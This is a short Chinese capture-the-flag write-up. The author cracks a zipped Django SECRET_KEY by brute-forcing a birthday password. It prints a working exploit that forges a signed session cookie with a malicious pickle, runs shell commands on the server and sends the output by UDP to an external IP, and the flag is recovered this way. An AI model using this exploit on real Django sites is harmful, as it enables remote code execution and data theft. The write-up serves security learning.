- 打开页面一个图片,查看源码有个?user=123。试一试
- 发现什么也没有。
- 扫描目录扫出来了个/admin
- 打开发现是hello 123
- 联想之前是user=123,试一试user=Yix1a
- 再打开admin发现变成了hello Yix1a.有意思
- 然后没线索了,回看题目内容:
c62s的生日礼物
- 用github搜索这个Users,发现一个django项目。里面有个gift.zip.
- 有密码需要生日才能打开。。
- 直接用Advanced Archive Password Recovery爆破。8位[0-9]得出密码为20001111
- 打开得到SECERT_KEY 为oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci
- 熟悉django 的都知道这个django很重要的保密项
- 找相关漏洞。
- 得到一个任意代码执行漏洞
# coding: utf-8
# Django-1.5.12
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings
settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci') #得到的SECRET_KEY
class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call, #用于连接指定的远程服务器和端口并传送命令的结果
(['python','-c',
'import socket, os;c=os.popen("ls").read().strip();'
's=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);'
's.sendto(c, ("45.63.40.88", 1000));'],)) #远程服务器和端口
sess = signing.dumps(
obj=GetShellWithPython(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)
print sess #sess为sessionid之类的东西,得到sess发出去。
- 图片.png
- 图片.png
- 改成cat flag.txt 就得到flag{20d0b62f-0689-4cbf-a1a2-6566c4d9ee26}
- 注意点--nc用ubuntu接受成功了。用centos下载的nc完全不行
网友评论